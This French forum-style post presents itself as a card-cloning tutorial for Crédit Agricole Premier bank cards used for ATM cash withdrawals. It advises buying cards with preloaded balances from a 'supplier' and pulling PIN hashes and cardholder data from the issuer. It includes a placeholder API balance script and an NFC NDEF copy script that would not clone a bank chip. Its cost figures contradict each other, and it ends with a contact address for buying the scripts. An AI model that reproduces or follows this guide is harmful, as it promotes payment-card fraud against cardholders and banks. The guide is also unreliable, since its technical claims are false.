Tutorial Card clone

Clonage de Carte

Bonjour, ce poste est à des fins pédagogiques. Chacun de vous sera responsable de l'utilisation des informations mentionnées ci-dessous.
Le sujet ici est comment fabriquer des clones de cartes avec des cartes Crédit Agricole Premier physiques. Tout d'abord, il faut réunir le matériel adéquat :
- Lecteur de carte puce NFC
- Fournisseur de cartes Crédit Agricole Premier
- Installer le pilote adéquat
- Obtenir l'API Crédit Agricole
- Trouver un DAB sécurisé pour faire les retraits
Une fois les conditions réunies, la procédure est la suivante. Créez deux programmes. Le premier programme doit envoyer des requêtes à l'émetteur pour recevoir des informations telles que :
- Le hash du code PIN
- Vérifier le solde de la carte de Crédit Agricole Premier
- Recevoir des informations confidentielles sur les titulaires des cartes à cloner.
Exemple de programme Python pour envoyer des requêtes à l'API de l'émetteur Crédit Agricole Premier :
```python
import requests
def get_credit_card_balance(api_url, api_key, card_number):
headers = {
'Authorization': f'Bearer {api_key}',
'Content-Type': 'application/json'
}

data = {
'card_number': card_number
}

response = requests.post(f'{api_url}/balance', headers=headers, json=data)

if response.status_code == 200:
balance_info = response.json()
return balance_info['balance']
else:
response.raise_for_status()
# Remplacez ces variables par les valeurs réelles
api_url = 'https://api.banque.fr'
api_key = 'api_key'
card_number = '12345678901xxxxx'
try:
balance = get_credit_card_balance(api_url, api_key, card_number)
print(f'Le solde de la carte de crédit est : {balance}')
except requests.exceptions.RequestException as e:
print(f'Une erreur s'est produite : {e}')
```
Une fois le premier script opérationnel, il faudra créer un autre script pour copier les informations de la carte Crédit Agricole Premier vers une carte à puce NFC. Exemple de programme Python pour copier les informations d'un support à puce NFC vers un autre support :
D'abord, assurez-vous d'avoir installé nfcpy :
```bash
pip install nfcpy
```
```python
import nfc
import ndef
def read_nfc_card(tag):
records = []
for record in tag.ndef.records:
records.append(record)
return records
def write_nfc_card(tag, records):
tag.ndef.records = records
def main():
clf = nfc.ContactlessFrontend('usb')
print("Approchez la carte source...")
tag_source = clf.connect(rdwr={'on-connect': lambda tag: False})
if tag_source.ndef:
source_records = read_nfc_card(tag_source)
print("Données lues de la carte source:")
for record in source_records:
print(record)
print("Approchez la carte destination...")
tag_destination = clf.connect(rdwr={'on-connect': lambda tag: False})
if tag_destination.ndef:
write_nfc_card(tag_destination, source_records)
print("Données écrites sur la carte destination.")
else:
print("La carte destination n'est pas compatible NDEF.")
else:
print("La carte source n'est pas compatible NDEF.")
clf.close()
if __name__ == '__main__':
main()
```
Une fois toutes les conditions réunies, je pense que vous êtes fin prêts à créer des clones de cartes et à effectuer des retraits.
Pour ma part, j'ai dû dépenser 1316 € :
- Lecteur de carte puce = 60 €
- API Crédit Agricole Premier = 256 €
- Carte physique Crédit Agricole = 1000 € (1 carte x 8 soldes de 2000 € à 5000 €)
- Script = 500 € les deux

Cordialement, rfazer@protonmail.com